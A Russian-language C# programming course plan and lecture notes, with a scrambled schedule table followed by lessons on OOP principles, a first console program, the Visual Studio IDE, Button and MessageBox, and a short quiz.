Д ПЛАН ПРОВЕДЕНИЯ ЗАНЯТИЙ Наименование

advertisement
1 Наследование
1
1
Неделя 2
1
1
Решение задач
Н
е
д
е
л
я
1
Интегрированая среда
разработки
Главное окно
Создание программы
“Hello Word”
Свойства и методы
элемента MessageBox
Создание программ для
работы с свойствами
элементов.
1
Типы данных, Литералы
3
1
Литературы
Балл
1 Понятие об объектноориентированном
программировании.
1 Инкапсуляция
1 Создание прстой
программы
1 Построчный анализ
первого примера
программы
1 Полиморфизм
4
5
6
7
10
О
основных
принципах
объектно
–
ориентированного
программирования.
Об наследовании,
полиморфизме
и
инкапсуляции
Лек
Сем.
Лаб
СРСП
1,2,3,5
3
Студент обязан
знать
СРСП
СРСП
Лек
10
Ознакомится
с
средой
Visual
Studio.
Написать
программу “Hello,
Word” как и в
консольной так и
Windows
Forms
приложениях
10
О
Сем.
Лаб
СРСП
СРСП
1,2, 3,5
2
Вид занятий
Наименование
лекционных,
практических занятий и
СРСП
СРСП
Лек
типах
1
,
2
,
6
,
7
,
8
Неделя 1
1
ПЛАН ПРОВЕДЕНИЯ ЗАНЯТИЙ
Кол-во час.
Дни недели
Д
данных.
СРСП
СРСП
1
Использование пробелов и
круглых скобок
Функции языка C#.
Математические
функции
Строковые функции
Создание программ с
использованием
математических функций
Создание программ с
использованием строковых
функций
Создание подстроки – 1
1
Создание подстроки – 2
СРСП
1
Организация ветвлений в
программе. Оператор If
Оператор Switch
Анализ программы по
операторам ветвлений
Оператор безусловного
перехода
Создание программ с
оператором if
Неделя 4
1
1
1
1
1
1
1
1
1
Неделя 5
СРСП
СРСП
Преобразование типов в
выражениях
Операторы.
Арифметические
операторы
Операторы отношений и
логические операторы
Опеарор присваивания
Порязрядные операторы
Оператор ?
1
Неделя 6
Лаб
1
1
1
1
1
Лек
Сем.
Лаб.
СРСП
СРСП
10
1,2,6,7,8
1
1
Сем.
Лек
10
Сем.
Лаб.
СРСП
1,2,6,7,8
1
Использовать
десятичные
и
вещественные
данные переменные
в вычислениях. О
литералах.
О
преобразовании
типов.
Об арифметических
операторах.
Об
сложных
операторох
присваивания. Об
операторе “?” и его
использовании
в
создаваемых
программах
Об строковых и
математичес-ких
функциях.
Об
функциях
SubString, ToLower,
ToUpper и т.д.
СРСП
Лек
Сем.
Лаб.
СРСП
СРСП
10
1,2,6,7,8
1
и переменные
Типы для представления
чисел с плавающей точкой
Десятичный, символьный и
логический тип данных
Литералы
Преобразование типов
Об операторах if и
switch и их отличии.
1
Создание программ с
оператором switch
СРСП
1
Лек
1
Организация повторений.
Цикл с предусловием
Структура оператора Do
While и For
Анализ программы
1
1
Оператор Break
Оператор Continue
1
Рубежный контроль №1
1
Виды циклов.
Арифметические циклы
Итерационные циклы
Вложенные циклы
Анализ программ
Создание программы
«Таблица умножения»
Методы элемента
InputBox
1
Массивы в С#.
Одномерные массивы.
Алгоритмы обработки
массивов.
Анализ программы
Бинарный поиск
Программа сортировки
массива методом Пузырка
Неделя 10
Неделя 9
1
1
1
1
1
Программа сортировки
массива методом Шелле
1
1
Двумерные массивы.
Алгоритмы обработки
двумерных массивов
Анализ программы
Сортировка методом
Сортировка методом
1
1
1
1,2,6,7,8
СРСП
СРСП
120
Лек
Об
арифметических,
итерационных,
и
вложенных циклах.
2,3,5
Сем.
Лаб.
СРСП
СРСП
10
СРСП
Лек
10
Об
массивах.
Организации
одномерных
массивов.
Об
алгоритмах
обработки
массивов.
Об
массивах.
Организации
двумерных
массивов.
Об
алгоритмах
обработки
массивов.
Сем.
Лаб.
СРСП
СРСП
СРСП
Лек
Сем.
Лаб.
СРСП
СРСП
10
1
Лаб.
2,4,5,6
1
1
1
1
О
организации
циклов
в
программах.
Об
операторах
for,
while и do while и
их отличии
Сем.
1,2,3,4
Неделя 8
Неделя 7
1
10
Сортировка методом
СРСП
1
1
1
1
1
Классы и методы в C#
Определение класса
Решение задач
Методы
Использование
модификаторов
параметров REF и OUT –
1
Использование
модификаторов
параметров REF и OUT –
2
Функции
Перегрузка функций
Анализ программы
Рукурсия
Переопределение
функций
Лек
Сем.
Лаб.
СРСП
СРСП
1
Шаблоны функций
СРСП
1
1
1
1
Файлы и сериализация.
Ввод и вывод данных.
Класс FileStream и
байтовый ввод-вывод в
файл
Анализ программы
Получение списка дисков
Поиск файла или каталога
1
Рубежный контроль №2
1
1
1
Работа с базами данных.
ADO.Net
Программирование
ADO.Net
DataAdapter
Окно внешних
источников данных
1
1
10
10
1,2,3,4
Об
override,
overload.
Об
методах создании
рекурсии.
Об
шаблонах функции.
Лек
Лаб.
СРСП
СРСП
10
Сем.
Об
классах
FileStream,
StreamReader,
StreamWriter
120
Лек
Сем.
Лаб
СРСП
СРСП
10
Неделя 14
Неделя 13
1
Лек
Сем.
Лаб.
СРСП
СРСП
2,4,7,8
1
1
1
1
1
СРСП
1,2,5,8
Неделя 12
1
Об классах. Су меть
создавать класс и
методы
в
программах.
Об
модификаторах ref,
out, in
1,4,6,7,8
Неделя 11
1
Об
технологии
Ado.Net.
Об
DataSet,
DataAdapter.
Суметь отправлять
Анализ программы
1
1
1
Работа с графикой на
языке C#
Структура Point
Структура Rectangle и
представление цвета
Кисти и перья
Рисование линий и фигур
СРСП
СРСП
1
Рисование текста
СРСП
1
Работа в сетях и во
Лек
всемирной паутине
Пингование компьютера
Сем.
Выяснение информации о Лаб
сетевой карте
Создание
сервера
и СРСП
клиента на базе TCP/IP
Отправка электронного
СРСП
письма по протоколу
SMTP
Анализ программы
СРСП
1
1
Итоговый экзамен
10
10
1
Сем.
Лаб
160
1
1
Лек
1,4,6
1
1
запросу
к
источнику данных.
СРСП
1,4,6,7,8
Неделя 15
Неделя 16
1
Уметь открывать и
редактировать
графические файлы.
Уметь работать во
всемирной
сети.
Пинковать
компьютер,
Получать
информацию
о
сетевой
карте.
Создавать
серверные
и
клиентские
программы.
Модуль 1.
Тема лекции: Понятие об объектно-ориентированном
программировании.
Основным понятием С# является объектно-ориентированное
программирование (ООП). Методика ООП неотделима от С#, и
поэтому все программы на С# являются объектно-ориентированными
хотя бы в самой малой степени. В связи с этим очень важно и полезно
усвоить основополагающие принципы ООП, прежде чем приступать
к написанию самой простой программы на С#. ООП представляет
собой эффективный подход к
программированию. Методики
программирования претерпели существенные изменения с момента
изобретения компьютера, постепенно приспосабливаясь, главным
образом, к повышению сложности программ. Когда, например,
появились первые ЭВМ, программирование заключалось в ручном
переключении на разные двоичные машинные команды с переднего
пульта управления ЭВМ. Такой подход был вполне оправданным,
поскольку программы состояли всего из нескольких сотен команд.
Дальнейшее усложнение программ привело к разработке языка
ассемблера, который давал программистам возможность работать с
более
сложными
программами,
используя
символическое
представление отдельных машинных команд. Постоянное усложнение
программ вызвало потребность в разработке и внедрении в практику
программирования таких языков высокого уровня, как, например,
FORTRAN и COBOL, которые предоставляли программистам больше
средств для того, чтобы как-то справиться с постоянно растущей
сложностью программ. Но как только возможности этих первых
языков программирования были полностью исчерпаны, появились
разработки языков структурного программирования, в том числе и С.
На каждом этапе развития программирования появлялись
методы и инструментальные средства для "обуздания" растущей
сложности программ. И на каждом таком этапе новый подход вбирал
в себя все самое лучшее из предыдущих, знаменуя собой прогресс в
программировании. Это же можно сказать и об ООП. До ООП многие
проекты достигали (а иногда и превышали) предел, за которым
структурный подход к программированию оказывался уже
неработоспособным. Поэтому для
преодоления трудностей,
связанных с усложнением программ, и возникла потребность в ООП.
ООП вобрало в себя все самые лучшие идеи структурного
программирования, объединив их с рядом новых понятий. В итоге
появился новый и лучший способ организации программ. В самом
общем виде программа может быть организована одним из двух
способов: вокруг кода (т.е. того, что фактически происходит) или же
вокруг данных (т.е. того, что подвергается воздействию). Программы,
созданные только методами структурного программирования, как
правило, организованы вокруг кода. Такой подход можно
рассматривать "как код, воздействующий на данные".
Совсем
иначе
работают
объектно-ориентированные
программы. Они организованы вокруг данных, исходя из главного
принципа: "данные управляют доступом к коду". В объектноориентированном языке программирования определяются данные и
код, которому разрешается воздействовать на эти данные.
Следовательно, тип данных точно определяет операции, которые
могут быть выполнены над данными. Для поддержки принципов
ООП все объектно-ориентированные языки программирования, в том
числе и С#, должны обладать тремя общими свойствами:
инкапсуляцией, полиморфизмом и наследованием.
Тема семинара: Инкапсуляция.
Инкапсуляция
—
это
механизм
программирования,
объединяющий вместе код и данные, которыми он манипулирует,
исключая как вмешательство извне, так и
неправильное
использование данных. В объектно-ориентированном языке данные и
код могут быть объединены в совершенно автономный черный ящик.
Внутри такого ящика находятся все необходимые данные и код. Когда
код и данные связываются вместе подобным образом, создается
объект. Иными словами, объект — это элемент, поддерживающий
инкапсуляцию.
В объекте код, данные или же и то и другое могут быть
закрытыми или же открытыми. Закрытые данные или код известны и
доступны только остальной части объекта. Это означает, что закрытые
данные или код недоступны части программы, находящейся за
пределами объекта. Если же данные или код оказываются открытыми,
то они доступны другим частям программы, хотя и определены
внутри объекта. Как правило, открытые части объекта служат для
организации управляемого интерфейса с закрытыми частями.
Основной единицей инкапсуляции в С# является класс, который
определяет форму объекта. Он описывает данные, а также код,
который будет ими оперировать. В С# описание класса служит для
построения объектов, которые являются экземплярами класса.
Следовательно, класс, по существу, представляет собой ряд
схематических описаний способа построения объекта.
Код и данные, составляющие вместе класс, называют членами.
Данные,
определяемые классом, называют полями, или
переменными экземпляра. А код, оперирующий данными,
содержится в функциях-членах, самым типичным представителем
которых является метод. В С# метод служит в качестве аналога
подпрограммы. (К числу других функций-членов относятся свойства,
события и конструкторы.) Таким образом, методы класса содержат
код, воздействующий на поля, определяемые этим классом.
Тема лаб: Создание простой программы.
А теперь самое время перейти к примеру конкретной программы на
С#. Для начала скомпилируем и выполним короткую программу.
/*
Это простая программа на С#.
Назовем ее Example.cs.
*/
using System;
class Example
{
// Любая программа на С# начинается с вызова метода Main().
static void Main()
{
Console.WriteLine("Простая программа на С#.");
}
}
Основной средой для разработки программ на С# служит Visual Studio
корпорации Microsoft.
Создавать, компилировать и выполнять программы на С#,
используя Visual Studio, можно двумя способами: пользуясь, вопервых, интегрированной средой разработки Visual Studio, а вовторых, — компилятором командной строки esc . exe.
Применение компилятора командной строки esc. ехе
Для коммерческой разработки программ вам, скорее всего,
придется пользоваться интегрированной средой Visual Studio, хотя
для некоторых читателей более
удобным может оказаться
компилятор, работающий в режиме командной строки, особенно для
компилирования и выполнения примеров программ, приведенных в
этой книге. Объясняется это тем, что для работы над отдельной
программой не нужно создавать целый проект. Для этого достаточно
написать программу, а затем скомпилировать и выполнить ее,
причем все это делается из командной строки. Таким образом, если
вы умеете пользоваться окном Командная строка (Command Prompt) и
его интерфейсом в Windows, то компилятор командной строки
окажется для вас более простым и оперативным инструментальным
средством, чем интегрированная среда разработки.
Для написания и выполнения программ на С# с помощью
компилятора командной строки выполните следующую несложную
процедуру.
1. Введите исходный текст программы, используя текстовый
редактор.
2. Скомпилируйте программу с помощью компилятора esc .
ехе.
3. Выполните программу.
Ввод исходного текста программы
Исходный текст примеров программ, приведенных в этой
книге, доступен для загрузки по адресу www .mhprof es-sional. com.
Но при желании вы можете сами ввести исходный текст этих
программ вручную. Для этого воспользуйтесь избранным текстовым
редактором, например Notepad. Но не забывайте, что вы должны
создать файлы, содержащие простой, а не отформатированный текст,
поскольку информация форматирования текста, сохраняемая в файле
для обработки текста, может помешать нормальной работе
компилятора С#. Введя исходный текст программы, присвойте ее
файлу имя Example . cs.
Компилирование программы
Для компилирования программы на С# запустите на
выполнение компилятор esc. ехе, указав имя исходного файла в
командной строке. C:\>csc Example.cs
Компилятор esc создаст файл Example . ехе, содержащий
версию MSIL данной программы. Несмотря на то что псевдокод MSIL
не является исполняемым кодом, он содержится в исполняемом
файле с расширением .ехе. Среда CLR автоматически вызывает JITкомпилятор при попытке выполнить файл Example . ехе. Следует,
однако, иметь в виду, что если попытаться выполнить файл Example .
ехе (или любой другой исполняемый файл, содержащий псевдокод
MSIL) на том компьютере, где среда .NET Framework не установлена,
то программа не будет выполнена, поскольку на этом компьютере
отсутствует среда CLR.
Выполнение программы
Для выполнения программы введите ее имя в командной строке
следующим образом.
С:\>Example
В результате выполнения программы на экране появится такая
строка.
Простая программа на С#.
Тема СРСП – 1. Построчный анализ первого примера
программы
Несмотря на то что пример программы Example. cs довольно
краток, в нем демонстрируется ряд ключевых средств, типичных для
всех программ на С#.
Проанализируем более подробно каждую строку этой
программы, начиная с ее имени. В отличие от ряда других языков
программирования, и в особенности Java, где имя файла программы
имеет большое значение, имя программы на С# может быть
произвольным. Ранее вам было предложено присвоить программе из
первого примера имя Example . cs, чтобы успешно скомпилировать и
выполнить ее, но в С# файл с исходным текстом этой программы
можно было бы назвать как угодно. Например, его можно было
назвать Sample . cs, Test. cs или даже X. cs.
В файлах с исходным текстом программ на С# условно принято
расширение . cs, и это условие вы должны соблюдать. Кроме того,
многие программисты называют файлы с исходным текстом своих
программ по имени основного класса, определенного в программе.
Именно поэтому в рассматриваемом здесь примере было выбрано
имя файла Example. cs. Но поскольку имена программ на С# могут
быть произвольными, то они не указываются в большинстве примеров
программ, приведенных в настоящей книге. Поэтому вы вольны сами
выбирать для них имена.
Итак, анализируемая программа начинается с таких строк.
/*
Это простая программа на С#.
Назовем ее Example.cs.
*/
Эти строки образуют комментарий. Как и в большинстве
других языков
программирования, в С# допускается вводить
комментарии в файл с исходным текстом программы. Содержимое
комментария игнорируется компилятором. Но, с другой стороны, в
комментарии дается краткое описание или пояснение работы
программы для всех, кто читает ее исходный текст. В данном случае в
комментарии дается описание программы и напоминание о том, что
ее исходный файл называется Example . cs.
Разумеется, в комментариях к реальным приложениям обычно
поясняется работа отдельных частей программы или же функции
конкретных средств.
В С# поддерживаются три стиля комментариев. Один из них
приводится в самом начале программы и называется многострочным
комментарием. Этот стиль
комментария должен начинаться
символами /* и оканчиваться символами */. Все, что находится между
этими символами, игнорируется компилятором. Как следует из его
названия, многострочный комментарий может состоять из нескольких
строк.
Рассмотрим следующую строку программы.
using System;
Эта строка означает, что в программе используется
пространство имен System.
В С# пространство имен определяет область объявлений.
Подробнее о пространстве имен речь пойдет далее в этой книге, а до
тех пор поясним вкратце его назначение. Благодаря пространству
имен одно множество имен отделяется от других. По существу, имена,
объявляемые в одном пространстве имен, не вступают в конфликт с
именами, объявляемыми в другом пространстве имен. В
анализируемой программе используется пространство имен System,
которое зарезервировано для элементов, связанных с библиотекой
классов среды .NET Framework, применяемой в С#. Ключевое слово
using просто констатирует тот факт, что в программе используются
имена в заданном пространстве имен. (Попутно обратим внимание на
весьма
любопытную
возможность
создавать
собственные
пространства имен, что особенно полезно для работы, над крупными
проектами.)
Перейдем к следующей строке программы.
class Example {
В этой строке ключевое слово class служит для объявления
вновь определяемого класса. Как упоминалось выше, класс является
основной единицей инкапсуляции в С#, a Example — это имя класса.
Определение класса начинается с открывающей фигурной скобки ({) и
оканчивается закрывающей фигурной скобкой (}). Элементы,
заключенные в эти фигурные скобки, являются членами класса. Не
вдаваясь пока что в подробности, достаточно сказать, что в С# большая
часть действий, выполняемых в программе, происходит именно в
классе.
Следующая строка программы содержит однострочный
комментарий.
// Любая программа на С# начинается с вызова метода Main().
Это второй стиль комментариев, поддерживаемых в С#.
Однострочный комментарий начинается и оканчивается символами
//. Несмотря на различие стилей комментариев, программисты
нередко пользуются многострочными комментариями для более
длинных примечаний и однострочными комментариями для
коротких, построчных примечаний к программе. (Третий стиль
комментариев, поддерживаемых в С#, применяется при создании
документации и описывается в приложении А.)
Перейдем к анализу следующей строки программы.
static void Main() {
Эта строка начинается с метода Main (). Как упоминалось выше,
в С#
подпрограмма называется методом. И, как поясняется в
предшествующем комментарии, именно с этой строки начинается
выполнение программы. Выполнение всех приложений С# начинается
с вызова метода Main (). Разбирать полностью значение каждого
элемента данной строки пока что не имеет смысла, потому что для
этого нужно знать ряд других средств С#. Но поскольку данная строка
используется во многих примерах программ, приведенных в этой
книге, то проанализируем ее вкратце.
Данная строка начинается с ключевого слова static. Метод,
определяемый
ключевым словом static, может вызываться до
создания объекта его класса. Необходимость в этом объясняется тем,
что метод Main () вызывается при запуске программы.
Ключевое слово void указывает на то, что метод Main () не
возвращает значение. В дальнейшем вы узнаете, что методы могут
также возвращать значения. Пустые круглые скобки после имени
метода Main означают, что этому методу не передается никакой
информации. Теоретически методу Main () можно передать
информацию, но в данном примере этого не делается. И последним
элементом анализируемой строки является символ {, обозначающий
начало тела метода Main (). Весь код, составляющий тело метода,
находится между открывающими и закрывающими фигурными
скобками.
Рассмотрим следующую строку программы. Обратите
внимание на то, что она
находится внутри метода Main ().
Console.WriteLine("Простая программа на С#.м);
В этой строке осуществляется вывод на экран текстовой строки
"Простая программа на С# . ". Сам вывод выполняется встроенным
методом WriteLine (). В данном примере метод WriteLine () выводит на
экран строку, которая ему передается.
Информация, передаваемая методу, называется аргументом.
Помимо текстовых строк, метод WriteLine () позволяет выводить на
экран другие виды информации.
Анализируемая строка начинается c Console — имени
предопределенного класса, поддерживающего ввод-вывод на консоль.
Сочетание обозначений Console и WriteLine () указывает компилятору
на то, что метод WriteLine () является членом класса Console.
Применение в С# объекта для определения вывода на консоль
служит еще одним
свидетельством объектно-ориентированного
характера этого языка программирования. Обратите внимание на то,
что оператор, содержащий вызов метода WriteLine (), оканчивается
точкой с запятой, как, впрочем, и рассматривавшаяся ранее
директива using System. Как правило, операторы в С# оканчиваются
точкой с запятой.
Исключением из этого правила служат блоки, которые
начинаются символом { и оканчиваются символом }. Именно поэтому
строки программы с этими символами не оканчиваются точкой с
запятой. Блоки обеспечивают механизм группирования операторов и
рассматриваются далее в этой главе.
Первый символ } в анализируемой программе завершает метод
Main (), а второй — "определение класса Example.
И наконец, в С# различаются прописные и строчные буквы.
Несоблюдение этого правила может привести к серьезным
осложнениям. Так, если вы неумышленно наберете main вместо Main
или же writeline вместо WriteLine, анализируемая
программа
окажется ошибочной. Более того, компилятор С# не предоставит
возможность выполнить классы, которые не содержат метод Main (),
хотя и скомпилирует их.
Поэтому если вы неверно наберете имя метода Main, то
получите от компилятора сообщение об ошибке, уведомляющее о
том, что в исполняемом файле Example. exe не определена точка
входа.
Тема СРСП – 2. Полиморфизм.
Полиморфизм, что по-гречески означает "множество форм", —
это свойство, позволяющее одному интерфейсу получать доступ к
общему классу действий. Простым примером полиморфизма может
служить руль автомашины, который выполняет одни и те же функции
своеобразного интерфейса независимо от вида применяемого
механизма управления автомашиной. Это означает, что руль
действует одинаково
независимо от вида рулевого управления:
прямого действия, с усилением или реечной передачей.
Следовательно, при вращении руля влево автомашина всегда
поворачивает влево, какой бы вид управления в ней ни применялся.
Главное преимущество единообразного интерфейса заключается в
том, что, зная, как обращаться с рулем, вы сумеете водить автомашину
любого типа.
Тот же самый принцип может быть применен и в
программировании. Рассмотрим для примера стек, т.е. область
памяти, функционирующую по принципу "последним пришел —
первым обслужен". Допустим, что в программе требуются три разных
типа стеков: один — для целых значений, другой — для значений с
плавающей точкой, третий — для символьных значений. В данном
примере алгоритм, реализующий все эти стеки, остается неизменным,
несмотря на то, что в них сохраняются разнотипные данные. В языке,
не являющемся объектно-ориентированным, для этой цели пришлось
бы создать три разных набора стековых подпрограмм с разными
именами. Но благодаря полиморфизму для реализации всех трех
типов стеков в С# достаточно создать лишь один общий набор
подпрограмм. Зная, как пользоваться одним стеком, вы сумеете
воспользоваться и остальными.
В более общем смысле понятие полиморфизма нередко
выражается следующим образом: "один интерфейс — множество
методов". Это означает, что для группы взаимосвязанных действий
можно разработать общий интерфейс. Полиморфизм помогает
упростить программу, позволяя использовать один и тот же
интерфейс для описания общего класса действий. Выбрать конкретное
действие (т.е. метод) в каждом отдельном случае — это задача
компилятора. Программисту не нужно делать это самому. Ему
достаточно запомнить и правильно использовать общий интерфейс.
Тема СРСП – 3. Наследование.
Наследование представляет собой процесс, в ходе которого
один объект приобретает свойства другого объекта. Это очень важный
процесс, поскольку он обеспечивает принцип иерархической
классификации. Если вдуматься, то большая часть знаний поддается
систематизации благодаря иерархической классификации по
нисходящей.
Например, сорт яблок "Джонатан" входит в общую
классификацию сортов яблок, которые, в свою очередь, относятся к
классу фруктов, а те — к еще более крупному классу пищевых
продуктов. Это означает, что класс пищевых продуктов обладает
рядом свойств (съедобности, питательности и т.д.), которые по логике
вещей распространяются и на его подкласс фруктов. Помимо этих
свойств, класс фруктов обладает своими собственными свойствами
(сочностью, сладостью и т.д.), которыми он отличается от других
пищевых продуктов. У класса яблок имеются свои характерные
особенности (растут на деревьях, не в тропиках и т.д.). Таким образом,
сорт яблок "Джонатан" наследует свойства всех предшествующих
классов, обладая в то же время свойствами, присущими только этому
сорту яблок, например красной окраской кожицы с желтым бочком и
характерным ароматом и вкусом.
Если не пользоваться иерархиями, то для каждого объекта
пришлось бы явно
определять все его свойства. А если
воспользоваться наследованием, то достаточно определить лишь те
свойства, которые делают объект особенным в его классе. Он может
также наследовать общие свойства своего родителя. Следовательно,
благодаря механизму наследования один объект становится
отдельным экземпляром более общего класса.
Контрольные вопросы:
1. Что понимается под объектно-ориентированным
программированием?
2. Что такое метод?
3. Дайте определение объекту
4. Кем и когда был создан язык С#?
5. В чем был главный недостаток структурного
программирования?
6. Что такое инкапсуляция?
7. Дайте определение полиморфизму
8. Что такое наследование
1.
ТЕСТ
Что такое Объектно-ориентированное программирование
(ООП)?
a "Эпизодическое" использование технологии
b это совокупность понятий (класс, объект, инкапсуляция,
полиморфизм, наследование), приемов их использования при
проектировании программ
c Это приемы использования C++
d Это технология использования функций в программе
3. Что такое объект?
a структурированная переменная, содержащая всю информацию о
некотором физическом предмете или реализуемом в программе
понятии.
b Это все то что мы видим и ощущаем
c Структурированная переменная
d Это функции используемые при программировании плагинов
4. Что такое класс?
a структурированная переменная, содержащая всю информацию о
некотором физическом предмете или реализуемом в программе
понятии.
b не информативно можно описать, что это
разновидность абстрактного типа данных в объектноориентированном программировании
c описание множества объектов и выполняемых над ними действий.
d Ответы B и C правильны
5. Что такое инкапсуляция данных?
a Логическое связывание данных с конкретной операцией
b Логическая операция
c Это наследование классов
d Структурированная переменная, содержащая всю информацию о
некотором физическом предмете или реализуемом в программе
понятии.
6. Кем был разработан язык С?
a Деннисом Ритчи
b Деннисом Фордом
c Деннисом Гейтсом
d Деннисом Римбергом
Модуль 2.
Тема лекции: Интегрированая среда разработки
1. Среда разработки Microsoft Visual Studio
2. Основные этапы создания программы
Цель работы – ознакомиться со средой разработки Microsoft
Visual C++ 2010, научиться создавать, компилировать и отлаживать
приложения, разобраться со структурой программы на языке C++.
1. Среда разработки Microsoft Visual Studio
Среда разработки Microsoft Visual Studio – это набор
инструментов и средств, предназначенных для разработчиков
программ,
с
широким
набором
поддерживаемых
языков
программирования. Visual C++ является частью Visual Studio.
Интегрированную среду разработки (Integrated Development
Environment, IDE) Visual Studio используют и другие средства
разработки, например Microsoft С#.
Назначение среды разработки программ ясно следует из ее
названия. Естественно, что любая программа сначала должна быть
спроектирована, затем переложена на выбранный разработчиком для
ее реализации язык программирования, после чего этот средствами
конкретного языка программирования подвергается преобразованию
в код, понятный микропроцессору. Сам по себе микропроцессор, "не
знает" ни одного из известных нам языков программирования, кроме
языка машинных кодов.
2. Основные этапы создания программы
Выделим основные этапы создания программы:
1. Разработка (проектирование).
2. Выбор языка программирования.
3. Написание текста программы.
4. Перевод в язык машинных кодов (компиляция).
5. Отладка.
6. Выполнение.
О неготовности приложения к выполнению на ЭВМ Вы узнаете
из предупреждений об ошибках на этапе трансляции, или же, что
гораздо неприятнее, из результатов работы программы, которые
могут быть совершенно неожиданными. При этом неизбежно
использование средств для отладки программы.
После того, как выбран язык программирования и среда
разработки, программист полностью зависит от средств языка и
возможностей среды. На этапе написания программы удобно
пользоваться какими-то справочными средствами по языку. И среда
Visual Studio, предоставляет средства контекстной помощи, а также
программу-редактор, с возможностью автодополнения и подсказкой
параметров вызовов функций. Кроме этого в комплект входят
компилятор и отладчик – это наиболее важные средства среды
разработки.
Тема семинара: Главное окно
В верхней части окна расположена строка с командами главного
меню среды — это строка горизонтального меню. При вызове этих
команд (их еще называют опциями, т. с. элементами выбора из
нескольких значений) открываются так называемые "выпадающие
меню" — это вертикальные меню, представляющие собой набор
команд, располагающихся на экране сверху вниз.
Вид главного окна IDE после загрузки VC++
Для того чтобы создать проект нужно выполнить следующие
действия: выбрать из главного меню Файл->Создать->Проект, после
чего откроется диалоговое окно создания проекта
Меню для задания типа формируемого приложения
1.
Диалоговое окно создания проекта.
В этой части выбирается язык и шаблон. Мы должны
выбрать язык Visual C# и шаблон Windows
2.
После того как мы выбрали язык и шаблон из второй части
окна мы выберем тип нашего приложения (Приложение Windows
Forms).
3.
В третей части вводится Имя проекта, Расположение
проекта(для
того
чтобы
изменить
расположение
можно
воспользоваться кнопкой Обзор…).
4.
В
четвертой
части
показывается
платформа.
(По
умолчанию .Net Framework 4.0)
5.
Нажимаем кнопку «Ок»
Перед нами откроется интегрированная среда (IDE).
Интегрированная среда формируется из набора окон. Каждое окно —
это обычное windows-окно, имеющее стандартную заголовочную
полосу в своей верхней части. За эту полосу можно окно перемещать,
протягивая мышью. У окон имеются свойства, которые открываются,
если на заголовочной части щелкнуть правой кнопкой мыши.
Перечень свойств окна Панель инструментов
Рассмотрим эти свойства:

Плавающая область. Такое окно можно перетягивать за
любую часть рабочего стола;

Закрепить. Такое окно может перемещаться, но будет
причаливать (т. е. захватываться другим окном);

Закрепить как вкладку(закрепить в качестве вкладки в
основное окно рабочего стола). Это окно, в котором первоначально в
качестве вкладки располагается стартовая страница Start Page;

Автоматически скрывать (автоматически исчезать). В
этом случае окно автоматически "прячется" (причаливает) в качестве
вкладки к ближайшей боковой стороне основного окна рабочего
стола, а при наведении курсора мыши на имя окна оно
автоматически всплывает;

Скрыть. При этом свойстве окно исчезает с экрана. Чтобы
оно снова появилось, надо воспользоваться либо опцией
View(Вид) главного меню, либо соответствующей данному окну
опцией Other Windows опции View.
Рассмотрим некоторые окна интегрированной среды:
1. Компоненты окна Панель инструментов (для того что бы
открыть это окно надо выбрать из главного меню Вид-Панель
инструментов) в соответствии с их видом разделены на 10 вкладок:
Чтобы вставить компонент на форму надо выбрать компонент из
окна Панель инструментов и два раза нажать на него левой кнопкой
мыши или перетащить на поверхность формы.
Чтобы добавить компоненты в окно Панель инструментов надо
на этом окне нажать правую кнопку мыши и из появившегося окна
выбрать «Выбрать элемент». После этого откроется новое окно
«Выбор элементов панели элементов». Это окно состоит из 6 вкладок.
Выбираем вкладку Компоненты .Net Framework и перед тем
компонентом который мы хотим добавить вставляем галочку и
нажимаем на кнопку «Ок»
1.
Значение свойств компонентов мы можем увидеть из окна
Свойство (для того что бы открыть это окно надо выбрать из главного
меню Вид - Окно
свойств). Это окно
состоит из двух вкладок ( Свойство (на
кнопке изображение списка ) и События
(на кнопке изображение молнии)) и
кнопок сортировки (По алфавиту и По
категориям).
Чтобы посмотреть или изменить значения свойств компонентов
надо выбрать компонент и открыть окно Свойств.
Чтобы изменить значения свойств программно надо использовать
следующий синтаксис: «Имя компонента» .«Свойство» = «Значение» ;
Тема лаб: Создание программы “Hello Word”
Изучим способ создания простейшего проекта следующим
образом:
1. Создайте новый проект следующим образом Пуск -> Microsoft
Visual Studio -> Создать проект (рис. 1).
Рис. 1
2. В списке Установленные шаблоны выберите – Visual C# и в
списке Windows – Приложение Windows Forms (рис. 2). В списке
Имя – введите имя своего проекта.
Рис. 2
3. После выполнения операций 1 и 2 на экране появляется
интегрированная среда разработки (рис.3). Интегрированная
среда разработки состоит из следующих элементов: Строка
меню, Панель инструментов, Панель управляющих элементов,
Форма, Окно свойств и Обозреватель решений.
Рис. 3
4. В форме расположите два элемента управления button1 и
textbox1 (рис.4). Для расположения элемента управления на
форму нужно открыть окно «Панель элементов», выбрать
нужный элемент и перетащить его на форму или два раза
щелкнуть по нему, тогда элемент автоматически появится на
форме.
Рис. 4
5. Измените свойства элементов (окно Свойств) по таблице.
Имя элемента
Имя свойства
управления
button1
textbox1
Значение
свойства
Text
“Щелкните”
Font
12, жирный
Font
12, жирный
6. Два раза щелкните кнопку button1 и в окне программного кода
наберите следующий фрагмент программы
7. Запустите приложение нажав кнопку F5 или выбрав из меню
Отладка->Начать отладку
8. Результат программы должен выглядеть следующим образом
(рис. 5).
Рис. 5
Остановить программу можно двумя способами нажав кнопку Х
в верхней части формы или из меню «Отладка» выбрав команду
«Остановить отладку».
Тема СРСП – 1.Свойства и методы элемента управления
Button.
Компонент находится в группе компонентов All Windows
Forms палитры компонентов. Этот компонент задает в форме, куда он
помещен элемент “кнопка”, который надо нажимать щелчками.
Компонент Button обладает некоторыми свойствами, определяющими
его поведение.
Рассмотрим несколько свойств этого элемента:
Anchor – свойство, определяющее закрепленную позицию
компонента.
AutoEllipsis – это свойство задает, будет ли появляться
многоточие справа от текста, сообщая, что текст располагается за
пределы размеров компонента.
FlatStyle – задает стиль кнопки.
Image – это свойство позволяет отображать в элементе
рисунок.
Text – в этом свойстве хранится отображаемый текст.
Рассмотрим несколько событий:
Click – возникает когда на кнопку щелкают мышью
Enter – возникает когда кнопка получает фокус ввода т.е.
становится активной
MouseHover – Возникает когда курсор мыши находится над
кнопкой.
MouseLeave – возникает когда курсор мыши покидает кнопку.
Тема СРСП – 2. Методы элемента MessageBox.
Show(String)
Отображает окно сообщения с
указанным текстом.
Show(IWin32Window,
String)
Отображает перед
указанным объектом окно
сообщения с указанным
текстом.
Show(String, String)
Отображает окно сообщения с
указанными текстом и
заголовком.
Show(IWin32Window,
String, String)
Отображает перед указанным
объектом окно сообщения с
указанными текстом и
заголовком.
Show(String, String,
MessageBoxButtons)
Отображает окно сообщения с
указанными текстом, заголовком
и кнопками.
Show(IWin32Window,
String, String,
MessageBoxButtons)
Отображает перед указанным
объектом окно сообщения с
указанными текстом, заголовком
и кнопками.
